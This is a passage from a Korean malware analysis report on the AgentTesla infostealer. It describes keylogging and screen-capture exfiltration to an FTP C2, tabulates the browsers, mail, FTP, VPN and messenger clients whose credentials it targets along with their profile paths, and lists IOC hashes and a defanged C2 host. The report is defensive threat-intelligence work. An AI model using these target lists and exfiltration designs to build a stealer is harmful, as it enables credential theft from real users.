이후 새롭게 수집된 키 입력 내용 또한 동일한 방식으로 HTML 파일로 구성되어 즉시 FTP 서버로 전송된다. 파일명에는 사용자 계정명과 컴퓨터 이름, 타임스탬프가 포함되어 감염 호스트 및 수집 시점을 구분할 수 있도록 설계되어 있다.

 

만약 네트워크 문제 등으로 FTP 업로드에 실패할 경우에는 예외 처리 루틴을 통해 해당 내용을 TEMP 경로의 log.tmp 파일에 시간 정보와 함께 누적 저장한다. 이를 통해 일시적인 통신 실패 상황에서도 키로깅 데이터가 손실되지 않도록 한다.

 

 

2.4.10) 화면 캡처 타이머

그림46) 화면 캡처 타이머

 

캡처 주기를 분 단위로 설정하며, 기본값으로 약 20분 간격으로 동작하도록 초기화된다. 타이머 이벤트가 트리거 되면 StartCaptureScreenInit 함수가 호출되어 실제 화면 캡처 동작을 수행한다. 이벤트 핸들러 내부에서는 먼저 일정 시간 조건을 만족하는지 확인한 뒤, 조건이 충족될 경우 현재 화면을 캡처한다. 

그림47) 화면 캡처 파일 C2 전송 루틴

 

AgentTesla는 주기적으로 수집한 화면 이미지를 JPEG 형식으로 공격자 서버에 전송하며, 키로깅과 함께 사용자 활동을 시각적으로 추적할 수 있는 정보 탈취 기능을 수행한다.

 

 

 

3. 정보 탈취 대상

최종적으로 본 샘플에서 확인된 정보 탈취 대상은 다음 표와 같이 정리할 수 있다.

No Category Name
1 Browser Chromium
2 Browser Firefox
3 Browser IE / Edge
4 Browser UC Browser
5 Browser Safari for Windows
6 Browser Microsoft protects
7 Browser QQ Browser
8 Browser Falkon Browser
9 Browser Flock Browser
10 Mail Client Outlook
11 Mail Client Windows Mail App
12 Mail Client The Bat!
13 Mail Client Becky!
14 Mail Client IncrediMail
15 Mail Client Eudora
16 Mail Client ClawsMail
17 Mail Client FoxMail
18 Mail Client Opera Mail
19 Mail Client PocoMail
20 Mail Client eM Client
21 Mail Client Mailbird
22 FTP Client FileZilla
23 FTP Client WinSCP
24 FTP Client CoreFTP
25 FTP Client Flash FXP
26 FTP Client FTP Navigator
27 FTP Client SmartFTP
28 FTP Client WS_FTP
29 FTP Client FtpCommander
30 FTP Client FTPGetter
31 VPN OpenVPN
32 VPN NordVPN
33 VPN Private Internet Access
34 Remote / Network VNC
35 Messenger Discord
36 Messenger Trillian
37 Messenger Psi / Psi+
38 Database Tool MysqlWorkbench
39 Downloader Internet Downloader Manager
40 Downloader JDownloader 2.0

 

No Category Program Path
1 Browser Opera Browser Opera Software\Opera Stable
2 Browser Yandex Browser Yandex\YandexBrowser\User Data
3 Browser Iridium Browser Iridium\User Data
4 Browser Chromium Chromium\User Data
5 Browser 7Star 7Star\7Star\User Data
6 Browser Torch Browser Torch\User Data
7 Browser Kometa Kometa\User Data
8 Browser Cool Novo MapleStudio\ChromePlus\User Data
9 Browser Brave BraveSoftware\Brave-Browser\User Data
10 Browser Chedot Chedot\User Data
11 Browser Orbitum Orbitum\User Data
12 Browser Sputnik Sputnik\Sputnik\User Data
13 Browser Vivaldi Vivaldi\User Data
14 Browser Citrio CatalinaGroup\Citrio\User Data
15 Browser Uran uCozMedia\Uran\User Data
16 Browser Liebao Browser liebao\User Data
17 Browser Elements Browser Elements Browser\User Data
18 Browser Edge Chromium Microsoft\Edge\User Data
19 Browser Chrome Google\Chrome\User Data
20 Browser Sleipnir 6 Fenrir Inc\Sleipnir5\setting\modules\ChromiumViewer
21 Browser QIP Surf QIP Surf\User Data
22 Mail / Other BlackHawk NETGATE Technologies\BlackHawk
23 Mail / Other Thunderbird Thunderbird
24 Mail / Other CyberFox 8pecxstudios\Cyberfox
25 Mail / Other FTPGetter FTPGetter
26 Mail / Other K-Meleon K-Meleon
27 Mail / Other Pale Moon Moonchild Productions\Pale Moon
28 Mail / Other IceDragon Comodo\IceDragon
29 Mail / Other WaterFox Waterfox
30 Mail / Other Postbox Postbox
31 Mail / Other Flock Flock\Browser

 

 

 

 

 

 

4. 결론

본 분석을 통해 AgentTesla는 파일리스 실행과 네이티브 로더 기반 CLR 호스팅, 강한 난독화 기법을 결합한 고도화된 인포스틸러임을 확인하였다. BAT 및 PowerShell을 활용한 초기 침투 이후, 쉘코드와. NET 로더를 단계적으로 연결하여 디스크 흔적을 최소화하고 분석을 어렵게 한다는 점이 특징적이다.

 

또한 UAC 우회, Windows Defender 회피, 지속성 등록과 같은 선행 동작을 수행한 뒤 웹 브라우저, 이메일, FTP·VNC 클라이언트, VPN, Windows Credential 등 광범위한 사용자 정보를 탈취하기 때문에 전체적인 위협 수준이 높을 것으로 예상된다.

 

 

IOC

Filename SHA256
Documents and Details.bat E84683AD3B1F9F2BF5FCE7D0DA4EA6E203DA12420D2E1F9DB5A8D888E9878EC3
Lmfrjkiv.dll DC415B51AC736C885F0100491F6B2384C405F20A8C726593D7B000B63C6186F9
NativeLoader.bin CD0A2470EF46414FCC676B516F80CACEDA8E22BA5845C6BE0F2C0A212E671AD9
aa04758c-4b32-461d-98b6-71debafa0e44.exe 5A412D7A6ADF607C29AB29DBD17FA63F3E26BA7F1677B92EB7CDAFE4C727F172
C2
ftp://files[.]000webhost.com files[.]000webhost.com

 

 

5. 참고 문헌

 

[1] https://asec.ahnlab.com/ko/57256/
(Ahnlab - 스팸 메일로 유포되는 정보탈취 악성코드(AgentTesla))

[2] https://ryan-weil.github.io/posts/AGENT-TESLA-2/

(Ryan Weil - Agent Tesla Analysis [Part 2: Deobfuscation])